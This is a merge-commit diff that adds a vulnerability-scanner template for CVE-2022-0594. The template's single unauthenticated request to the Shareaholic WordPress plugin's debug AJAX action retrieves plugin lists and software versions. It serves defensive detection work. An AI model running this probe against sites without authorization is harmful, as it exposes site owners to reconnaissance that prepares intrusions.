Merge pull request #4946 from atomiczsec/master

Add CVE-2022-0594.yaml

cves/2022/CVE-2022-0594.yaml

@@ -0,0 +1,37 @@
+id: CVE-2022-0594
+info:
+  name: Shareaholic < 9.7.6 - Information Disclosure
+  author: atomiczsec
+  severity: low
+  description: The Professional Social Sharing Buttons, Icons & Related Posts WordPress plugin before 9.7.6 does not have proper authorisation check in one of the AJAX action, available to unauthenticated (in v < 9.7.5) and author+ (in v9.7.5) users, allowing them to call it and retrieve various information such as the list of active plugins, various version like PHP, cURL, WP etc.
+  reference:
+    - https://wpscan.com/vulnerability/4de9451e-2c8d-4d99-a255-b027466d29b1
+    - https://wordpress.org/plugins/shareaholic/
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0594
+  metadata:
+    verified: true
+  tags: cve,cve2022,wordpress,wp,wp-plugin,exposure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=shareaholic_debug_info"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        part: body
+        words:
+          - 'plugin_version'
+          - 'shareaholic_server_reachable'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
+      - type: status
+        status:
+          - 200